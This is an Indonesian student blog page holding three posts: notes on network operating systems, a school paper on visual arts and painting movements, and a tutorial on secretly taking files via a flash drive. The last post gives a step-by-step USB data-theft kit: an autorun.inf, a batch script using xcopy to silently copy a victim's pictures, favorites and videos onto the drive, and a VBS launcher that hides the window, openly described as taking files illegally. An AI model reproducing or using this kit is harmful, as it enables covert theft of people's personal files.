Recent Blog Post

New Post!

  • SISTEM OPERASI JARINGAN
    Jenis jenis sistem operasi jaringan

    Pengertian sistem operasi
    Sistem operasi (OS) adalah komponen pengolah piranti linak dasar (essential component) tersistem sebagai pengolah sumber daya perangkat keras (hardware), dan menyediakan layanan umum untuk aplikasi perangkat lunak (software)

    Fungsi sistem operasi
    -Manajemen perangkat keras (pengendalian akses terhadap berbagai perangkat keras yang terhubung ke jaringan)
    -Manajemen file dan folder (pengelolaan file dan folder)
    -Manajemen interaksi user (penyediaan user interface sebagai jembatan antara user dan perangkat keras komputer). Terdapat dua jenis interface yang dapat digunakan untuk berinteraksi dengan user,yakni;
    Ø  Command line interface (CLI)
    untuk dikerjakan oleh komputer. Interaksi user dengan sistem dilakukan dengan mengetikan serangkaian kalimat perintah
    Ø  Graphical user interface (GUI)
    Disini interaksi user dilakukan melalui sekumpulan menu dan icon yang dapat dipilih oleh user untuk memberikan berbagai perintah ke komputer.
    -Manajemen aplikasi (pengelolaan aplikasi user)
    Fungsi manajemen pada aplikasi user ini dapat meliputi;
    -install, proses penempatan file-file program pada sistem komputer termasuk konfigurasi program komputer.
    -uninstall, proses untuk menghapus file-file program beserta konfigurasi dari komputer.
    -update/upgrade, proses untuk memperbarui file-file dari program yang telah terinstall.
    Selain memiliki fungsi-fungsi manajemen diatas, sistem operasi modern juga dapat memiliki kemampuan sebagai berikut:
    -Multi-user _ dua atau lebih user dapat bekerja sama untuk saling berbagi pakai penggunaan aplikasi dan sumber daya seperti printer pada waktu yang bersamaan.
    -Multi-tasking _ sistem operasi dapat menjalankan lebih dari satu aplikasi user.
    -Multi-processing _ sistem operasi dapat menggunakan lebih dari satu CPU (Central processing unit).
    Multi-threading _ setiap program dapat dipecah kedalam thread-thread untuk dapat dijalankan secara terpisah (paralel) oleh sistem operasi. Kemampuan ini juga termasuk bagian dari multitasking pada aplikasi.


    Sistem Operasi  32-bit dan 64-bit
    Terdapat dua perbedaan antara sistem operasi 32-bit dan 64-bit.
    -Sistem operasi 32-bit hanya mampu menerima RAM maksimal 4 GB, sedangkan sistem operasi 64-bit mampu menggunakan lebih dari 128 GB RAM.
    -Manajemen memori dari sistem operasi 64-bit juga lebih baik, sehingga mampu menjalankan proses pada aplikasi lebih cepat.
    Windows, ubuntu, dan openSuSE merupakan beberapa contoh sistem operasi yang mendukung arsitektur 32-bit.

    Dilihat dari penggunaannyn sistem operasi dapat dibedakan menjadi dua kelompok besar, yakni;
    -Sistem operasi desktop, yang banyak digunakan dikantor kantor, small office/home office (SOHO), dengan jumlah user yang sedikit.

    Sistem operasi desktop memiliki karakteristik sbb;
    -Mendukung penggunaan oleh satu orang user-berbagi file dan folder dalan jaringan kecil dengan keamanan minimal saat ini di pasar, sostem operasi desktop yang paling banyak digunakan terbagi ke dalam tiga kelompok besar, yakni Microsoft Windows, Apple Mac Os, dan UNIX/Linux

    -Sistem operaasi jaringan, Network Operating System (NOS), didesain untuk dapat melayani user dalam jumlah besar untuk berbagai keperluan dan banyak digunakan pada perusahaan berskala besar.

    Sistem operasi jaringan memiliki karakteristik sbb;
    -Mendukung penggunaan oleh lebih dari satu user
    -Menjalankan aplikasi yang mampu digunakan oleh lebih dari satu user
    -Stabil (robust), dimana kecil kemungkinan untuk terdapat error pada program.
    Robustness adalah istilah untuk menunjukan kemampuan suatu sistem komputer masalah yang terjadi selama digunakan oleh user.
    -memiliki tingkat keamana data yang lebih tinggi dari sistem operasi desktop.

    Berikut ini adalah sistem operasi jaringan yang banyak digunakan saat ini.
    -UNIX/Linux, ini merupakan sistem operasi yang paling banyak digunakan sebagai server saat ini, contoh sistem operasi jaringan dengan linux diantaranya adalah red hat, caldera, SuSE, debian, fedora, ubuntu, dan slackware.
    -Novell netware, ditahun 1980-an, ini merupakan sistem operasi pertama yang memenuhu semua persyaratan untuk membangun sebuah jaringan lokal.
    -Microsoft Windows, masih dari perusahaan yang sama, microsoft juga mengeluarkan windows server sebagai sistem operasi jaringannya, mulai dari versi awalnya adalah windows server 2000, hingga yang terakhir windows server 2012.

    Open Source dan Proprietary Software
                Open Source Software merupakan
                Sedangkan Proprietary Software merupakan

    KELEBIHAN OPEN SOURCE
    ·         Aplikasi dapat digandakan
    ·         Dukungan ditangani oleh perusahan atau komunitas
    ·         Jumlah user tak terbatas
    ·         Kode sumber program terbuka, isinya dapat dilihat, dipelajari, dimodifikasi
    ·         Lisensi gratis
    KELEMAHAN OPEN SOURCE
    ·         Interface terkadang tidak user friendly
    ·         Kompabilitas hardware tidak terjamin
    ·         Masih terus dalam pengembangan dan penyempurnaan

    KELEBIHAN CLOSE SPURCE
    ·         Aplikasi tidak boleh digandakan
    ·         Support ditangani oleh perusahaan pembuat
    ·         Jumlah user terbatas sesuai lisensi
    ·         Kode sumber tertutup, tidak dapat diketahui
    ·         Lisensi berbayar
    KELEMAHAN CLOSE SOURCE
    ·         Beda versi terkadang juga beda lisensi sehingga harus mengeluarkan biaya kembali
    ·         Harga lisensi mahal, bahkan terkadang dapat melampaui harga komputer itu sendiri
    ·         Jika pembuat software bangkrut, maka nasib layanan tidak jelas
    ·         Kode sumber tertutup sehingga memungkinkan adanya trojan dalam program

    ·         Tidak dapat dimodifikasi sesuai kebutuhan

    Materi Sistem Operasi Jaringan

  • MAKALAH SENI BUDAYA

































    Nama                         : Mega Tri Wahyu Muhamad
    Kelas                          : XI TKJ1
    Mata Pelajaran         : Seni Budaya

    BAB 1
    PENDAHULUAN

                       I.            Latar belakang
    Seni rupa adalah sebuah konsep atau nama untuk salah satu cabang seni yang bentuknya terdiri atas unsure-unsur rupa yaitu: garis, bidang, bentuk, tekstur, ruang dan warna. Unsur-unsur rupa tersebut tersusun menjadi satu dalam sebuah pola tertentu. Bentuk karya seni rupa merupakan keseluruhan unsure-unsur rupa yang tersusun dalam sebuah struktur atau komposisi yang bermakna.
    Unsur-unsur rupa tersebut bukan sekedar kumpulan atau akumulasi bagian-bagian yang tidak bermakna, akan tetapi dibuat sesuai dengan prinsip tertentu. Makna bentuk karya seni rupa tidak ditentukan oleh banyak atau sedikitnya unsur-unsur yang membentuknya, tetapi dari sifat struktur itu sendiri. Dengan kata lain, kualitas keseluruhan sebuah karya seni lebih penting dari jumlah bagian-bagiaannya.
    Karya seni rupa dapat dibagi menjadi dua yaitu : karya seni rupa dua dimensi dan karya seni rupa tiga dimensi. Karya seni rupa dua dimensi adalah karya seni rupa yang hanya memiliki dimensi panjang dan lebar atau karya yang hanya dapat dilihat dari satu arah pandang saja. Contohnya: seni lukis, seni grafis, seni ilustrasi, relief dan sebagainya.
    Karya seni rupa tiga dimensi adalah karya seni rupa yang memiliki dimensi panjang, lebar dan tinggi atau karya yang memiliki volum dan menempati ruang. Contoh : seni patung, seni kriya, seni arsitektur dan berbagai desain produk.
    Seni rupa jika dilihat dari segi fungsinya, dapat dikelompokkan menjadi 2, yaitu: Seni murni (Fine art) dan seni pakai/terapan (Applied art). Seni murni adalah karya seni rupa yang dibuat semata-mata untuk memenuhi kebutuhan artistik. Fungsi seni murni yaitu sebagai sarana untuk mengekspresikan cita rasa estetik. Yang tergolong dalam seni rupa murni yaitu : Seni lukis, seni patung, seni grafis dan sebagian seni kerajinan. Seni terapan adalah karya seni rupa yang dibuat untuk memenuhi kebutuhan praktis. Contoh seni rupa terapan yaitu: Arsitektur, poster, keramik, baju, sepatu dan lain-lain.

    II.            Rumusan masalah
    1.     Apa pengertian seni rupa?
    2.     Apa saja macam-macam seni rupa?
    3.     Apa pengertian seni lukis?
    4.     Bagaimana sejarah seni lukis di Indonesia?
    5.     Apa saja aliran-aliran seni lukis?
                                             
               III.            Tujuan
    a.     Untuk mengetahui pengertian seni rupa.
    b.     Untuk mengetahuai apa saja macam-macam seni rupa.
    c.      Untuk mengetahui pengertian seni lukis.
    d.     Untuk mengetahui sejarah seni Lukis di Indonesia.
    e.      Untuk mengetahui apa saja aliran-aliran seni lukis.
                IV.            Manfaat
    Manfaat dalam penulisan makalah ini yaitu untuk memperluas wawasan pembaca mengenai seni rupa, ragam jenisnya terutama di bidang seni lukis, agar dapat mengembangkan minat dan bakat dalam bidang tersebut.




    BAB II
    PEMBAHASAN

    A.   Pengertian Seni Rupa
    Seni rupa adalah sebuah konsep atau namauntuk salah satu cabang seni yang bentuknya terdiri atas unsur-unsur rupa yaitu: garis, bidang, bentuk, tekstur, ruang dan warna. Unsur-unsur rupa tersebut tersusun menjadi satu dalam sebuah pola tertentu.
    Bentuk karya merupakan keseluruhan unsur-unsur rupa y6ang tersusun dalam sebuah struktur atau komposisi yang bermakna. Unsur-unsur rupa tersebut bukan sekedar kumpulan atau akumulasi bagian-bagian yang tidak bermakna, akan tetapi dibuat sesuai dengan prinsip tertentu. Makana bentuk karya seni rupa tidak ditentukan oleh banyak atau sedikitnya unsur-unsur yang membentuknya, tetapi dari sifat struktur itu sendiri. Dengan kata lain kualitas keseluruhan sebuah karya seni lebih penting dari jumlah bagian-bagiannya.
    Karya seni rupa dapat dibagi menjadi dua yaitu : karya seni rupa dua dimensi dan karya seni rupa tiga dimensi. Karya seni rupa dua dimensi adalah karya seni rupa yang hanya memiliki dimensi panjang dan lebar atau karya yang hanya dapat dilihat dari satu arah pandang saja.

    B.   Macam-macam Seni Rupa
    Beberapa macam seni rupa sebagai berikut :
    1.     Seni rupa murni
    ·        Seni lukis adalah salah satu cabang dari seni rupa. Dengan dasar pengertian yang sama, seni lukis adalah sebuah pengembangan yang lebih utuh dari menggambar. Melukis adalah kegiatan mengolah medium 2 dimensi atau permukaan dari obyek               3 dimensi untuk mendapat kesan tertentu. Medium lukisan bisa berbentuk apa saja, kanvas, kertas, papan, dan bahkan film di dalam fotografi bisa dianggap sebagai media lukisan. Alat yang digunakan juga bisa bermacam-macam, dengan syarat bisa memberikan imajinasi tertentu kepada media yang digunakan.
    ·        Seni grafis adalah cabang seni rupa yang proses pembuatan karyanya menggunakan tekhnik cetak, biasanya diatas kertas. Kecuali pada teknik Monotype, prosesnya mampu menciptakan salinan karya yang sama dalam jumlah baanyak, ini yang disebut sebagai proses cetak. Tiap salinan karya dikenal sebagai                ‘Impression’. Lukisan atau drawing di sisi lain, menciptakan karya seni orisinil yang unik. Cetakkan diciptakan dari permukaan sebuah bahan, secara teknis disebut dengan Matrix.           
    Matrix yang umum digunakan adalah : plat logam, biasanya tembaga atau seng untuk engraving atau etsa : batu digunakan untuk litografi : papan kayu untuk Woodcut/cukil kayu.
    ·        Seni patung adalah cabang seni rupa yang hasil karyanya berwujud 3 dimensi. Biasanya, diciptakan dengan cara memahat, modeling (misalnya dengan bahan tanah liat) atau kasting (dengan cetakan).
    ·        Seni instalasi (installation pemasangan) adalah seni yang memasang, menyatukan, dan mengkrontuksi sejumlah benda yang dianggap bisa merujuk pada suatu konteks kesadaran makna tertentu. Biasanya makna dalam persoalan-persoalan social-politik dan hal lain  yang bersifat kontemporer diangkat dalam konsep seni instalasi ini. Seni instalasi dalam konteks visual merupakan perupaan yang menyajikan visual tiga dimensional yang memhitungkan elemen-elemen ruang, waktu, suara, cahaya, gerak dan interaksi spectator (pengunjung pameran) sebagai konsepsi akhir dari olah rupa.
    ·        Seni pertunjukan (performance art) adalah karya seni yang melibatkan aksi individu atau kelompok di tempat dan waktu tertentu. Performance biasanya melibatkan 4 unsur : waktu, ruang, tubuh si senimandan hubungan seniman dengan penonton. Meskipun seni performance bias juga dikatakan termasuk di dalamnya kegiatan-kegiatan seni mainstream seperti : teater, tari, music dan sirkus, tapi biasanya kegiatan-kegiatan seni tersebut pada umumnys lebih dikenal dengan istilah seni pertunjukan (performing art). Seni performance adalah istilah yang biasanya mengacu pada seni konseptual atau aviant garde yang tumbuh dari seni rupa dan kini mulai beralih kearah seni kontemporer.
    ·        Seni keramik adalah cabang seni rupa yang mengolah material keramik untuk membuat karya seni dari yang bersifat tradisional sampai kontemporer. Selain itu dibedakan pula kegiatan kriya keramik berdasarkan prinsip fungsionalitas dan produksinya. Venus of dolni vestonice adalah karya keramik tertua yang pernah ditemukan.
    2.  Desain
    ·        Arsitektur adalah seni dan ilmu dlam merancang bangunan. Dalam artian yang lebih luas, arsitektur mencakup merancang dan membangun keseluruhan lingkungan binaan, mulai dari level macro yaitu: perencanaan kota, perancangan perkotaan, arsitektur lansekap hingga ke level micro yaitu: desain bangunan, desain perabot dan desain produk. Aritektur juga merujuk kepada hasil-hasil perancangan tersebut.
    ·        Desain grafis adalah suatu bentuk komunikasi visual yang menggunakan gambar untuk menyampaikan informasi atau pesan seefektif mungkin. Dalam desain grafis, teks juga dianggap gambar karena merupakan hasil abstraksi yang bias dibunyikan.Desain grafis diterapkan dalam desain komunikasi dan fine art. Seperti jenis desain lainnya, desain grafis juga dapat merujuk kepada proses pembuatan, metoda merancang, produk yang dihasilkan (rancangan), ataupun disiplin ilmu yang digunakan (desain). Seni desain grafis mencakup kemampuan kognitif dan keterampilan visual, termasuk di dalamnya: tipografi, ilustrasi, fotografi, pengolahan gambar dan tata letak.
    ·        Desain industry (industrial design) adalah seni terapan dimana estetika dan usability (kemudahan dalam menggunakan suatu barang disempurnakan). Desain industry menghasilkan kreasi tentang bentuk, konfigurasi, atau komposisi garis atau warna atau garis dan warna atau gabungannya, yang berbentuk 3 atau dimensi, yang memberi kesan estetis, dapat dipakai untuk menghasilkan produk, barang, komoditas industry atau kerajinan tangan. Desain industry dilindungi hak ciptanya oleh pemerintah melalui UU no. 31 tahun 2000 tentang desain industry. Jangka waktu perlindungan untuk desain industry adalah 10 tahun.

    C.   Pengertian Seni Lukis
    Seni lukis adalah salah satu cabang dari seni rupa. Dengan dasar pengertian yang sama, seni lukis adalah sebuah pengembangan yang lebih utuh dari menggambar. Melukis adalah kegiatan mengolah medium data 2 Dimensi atau permukaan dari objek 3 dimensi untuk mendapat kesan tertentu. Medium lukisan bias berbentuk apa saja, seperti kanvas, kertas , papan, bahkan film di dalam fotografi bias dianggap sebagai media lukisan. Alat yang digunakan juga bias bermacam-macam , dengan syarat bias memberikan imajinasi tertentu kepada media yang digunakan.
    D.   Sejarah Seni Lukis di Indonesia
              Seni lukis modern dimulai dengan masuknya penjajahan di Indonesia. Kecenderungan seni rupa pada zaman itu ke aliran membuat banyak pelukis Indonesia ikut mengembangkan aliran ini.
    Raden saleh adalah salah seorang asisten yang cukup beruntung bias mempelajari melukis gaya Eropa yang diperaktekkan pelukis Belanda. Raden saleh kemudian melanjutkan belajar melukis ke Belanda sehingga berhasil menjadi seorang pelukis Indonesia yang disegani dan menjadi pelukis istana di beberapa Negara Eropa. Era revolusi di Indonesia membuat banyak pelukis Indonesia beralih dari tema-tema romantisme menjadi cenderung kearah “kerakyatan”.


    E.    Aliran-aliran Seni Lukis
    1.     Aliran Neo klasik
    Lukisan ini tidak digunakan untuk kenikmatan, melainkan untuk mendidik, menanamkan kesadaran anggota masyarakat atas tanggung jawabnya terhadap Negara. J.i david merupakan pelopor aliran neo klasik.
    Ciri-ciri lukisan neo-klasik :
    a.     Lukisan terikat pada norma-norma intelektual akademis.
    b.     Bentuk selalu seimbang dan harmonis.
    c.      Batasan-batasan warna bersifat bersih dan statis.
    d.     Raut muka tenang dan berkesan agung.
    e.      Berisi cerita lingkungan istana.
    f.       Cenderung dilebih-lebihkan.
    Tokoh penerus J.I.David dalam neo klasik adalah JEAN AUGUAST DOMINIQUE INGRES (!780-1867)
    2.     Aliran Romantik
    Aliran romantik merupakan pemberontakan terhadap aliran Neo klasik, dimana Jean Jacques rousseau mengajak kembali pada alam, sebagai manusia yang tidak hanya memiliki pikiran tetapi juga memiliki perasaan dan emosi.

    Ciri-ciri aliran romantik :
    a.     Lukisan mengandung cerita yang dahsyat dan emosional.
    b.     Penuh gerak dan dinamis.
    c.      Warna bersifat kontras dan meriah.
    d.     Pengaturan komposisi dinamis.
    e.      Mengandung kegetiran dan menyentuh perasaan.
    f.       Kedahsyatan melebihi kenyataan.
    Tokoh-tokohnya antara lain:
    1)    Eugene Delacroix
    2)    Theodore Gericault
    3)    Jean Baptiste
    4)    Jean Francois Millet.
    3.     Aliran Realisme
    Aliran realisme merupakan aliran yang memandang dunia tanpa ilusi, mereka menggunakan penghayatan untuk menemukan dunia. Tokoh: Jean Francois Millet dan Honore Daunier.
    4.     Aliran Naturalisme
    Aliran Naturalisme adalah aliran yang mencintai dan memuja alam dengan segenap isinya. Tokohnya antara lain John Constable, William hogart, Frans Hall.

    5.     Aliran Impresionis
    Aliran Impresionis sangat dipengaruhi oleh keadaan cuaca, karena melukis dilakukan diluar studio. Lukisan impresionis biasanya tidak mempunyai kontur yang jelas dan Nampak hanya efek-efek warna yang membentuk wujud tertentu.
    Tokohnya antara lain :
    1)    Eduard Manet
    2)    Claude Monet
    3)    Auguste Renoir
    4)    Edward Degas
    5)    Mary Casat
    6.     Aliran Ekspresionisme
    Ekspresinisme merupakan aliran yang melukiskan aktualitas yang sudah didistorsikan kearah suasana kesedihan, kekerasan ataupun tekanab batin. Pelopornya adalah Vincent Van Gogh, Paul Klee, Emile Nolde, W.kandisky, dan Edvard Munch.
    7.     Aliran Faufisme
              Aliran Faufisme sangat mengagungkan kebebasan berekspresi sehingga banyak objek yang dibuat kontras dengan aslinya. Tokoh-tokohnya antara lain :Hendry Matisse, Andre derain, Maure de Vlaminc.

    8.     Aliran Kubisme
              Aliran kubisme dilatarbelakangi oleh konsep Paul Cezanne yang mengatakan bahwa bentuk dasar dari segala bentuk adalah silinder, bola, balok, dan semua bentuk yang ada di dalam sipengaruhi oleh perspektif, sehingga bidang tertuju pada satu titik tengah. Tokohmya : Picasse dan Paul Cezanne.
    9.     Aliran Abstraksionisme
              Aliran Abstraksionisme adalah aliran yang berusaha melepaskan diri dari sensasi-sensasi atau asosiatif figurative suatu objek. Tokohnya adalah Wassily kadinsky, Naum Goba.
    10.                         Aliran Futuris
              Aliran Futuris cenderung menggambarkan kesibukan-kesibukan seperti : Pesta arak-arakan, pesta dan lain-lain.
    Tokohnya Carlo Carra , Buido Severini, Umbirto Boccioni dan F.T Mari neti.
    11.                         Aliran Dadaisme
              Aliran Dadaisme mempunyai sikap memerdekakan diri dari hukum seni yang berlaku. Tokohnya: Paul kree, scwitters tritan tzrara, maron janco dll.



    BAB III
    PENUTUP

    I.            Kesimpulan
    Berdasarkan pembahasan yang telah dilakukan , maka kita dapat mengetahui bahwa Seni rupa adalah sebuah konsep atau nama untuk salah satu cabang seni yang bentuknya terdiri atas unsure-unsur rupa yaitu: garis, bidang, bentuk, tekstur, ruang dan warna. Karya seni rupa dapat dibagi menjadi dua yaitu : karya seni rupa dua dimensi dan karya seni rupa tiga dimensi. Berdasarkan fungsinya dibagi menjadi 2 pula yaitu seni murni dan seni pakai/terapan.

    II.         Saran
    Jangan hanya terfokus dengan hal-hal yang sudah dilakukan. Carilah Inspirasi yang baru demi kemajuan karya seni di Indonesia khususnya seni lukis. Pemerintah juga harus mendukung dan memfasilitasi berbagai keggiatan seni agar masyarakat lebih inspiratif.




    DAFTAR PUSTAKA

    Sumber : http://id.wikipedia.org/wiki/seni_rupa

    Makalah Seni Budaya Tentang Seni Rupa

  • Cara Mengambil File Tanpa Diketahui Melalui Flashdisk


    hallo semua
    ya di kesempatan kali ini kita akan belajar sedikit tentang IT
    untuk kali ini kita akan belajar tentang cara melakukan crack (mengambil file tanpa diketahui) melalui flashdisk
    tapi trik hanya sebagai pembelajaran saja, saya harap tidak dilakukan untuk hal hal negatif
    ini adalah langkah langkah yang harus kita lakukan untuk memulai kegiatan crack

    Langkah langkahnya sebagai berikut :

     Buka Notepad
    √ Copy kode di bawah ini
    [autorun]icon=drive.ico open=launch.bat action=Click OK to Run shell\open\command=launch.bat


    Paste di Notepad.
    √ Simpan file ini sebagai autorun.inf
    √ Buka Notepad lagi.
    √ Salin kode lagi dibawah ini :
    @echo off:: variables /min SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo off %backupcmd% "%USERPROFILE%\pictures" "%drive%\Data\My pics" %backupcmd% "%USERPROFILE%\Favorites" "%drive%\Data\Favorites" %backupcmd% "%USERPROFILE%\videos" "%drive%\Data\vids" @echo off cls

    Paste di Notepad.
    √ Simpan file ini sebagai file.bat
    √ Buka Notepad lagi.
    √ Salin juga kode dibawah ini :
    CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

    Paste di Notepad.
    √ Simpan file ini sebagai Invisible.vbs
    √ Notepad buka lagi.
    √ Salin kode di bawah ini sekali lagi
    wscript.exe \invisible.vbs file.bat


    Paste di Notepad
    √ Simpan ini sebagai launch.bat
    √ Sekarang Copy dan Paste keempat (4) file yang dibuat pada langkah-langkah di atas didalam USB atau flashdisk.
    √ Buat folder bernama "Data" di mana file yang telah diambil ( secara ilegal ) akan simpan secara otomatis.
    √ Sekarang USB flashdisk siap untuk digunakan.

     catatan ; " Resiko di tanggung sendiri"

    Cara Mengambil File Tanpa Diketahui Melalui Flashdisk

  • - Copyright © TRIE WAHYU ARIMA - Powered by Blogger - Designed by Johanes Djogan -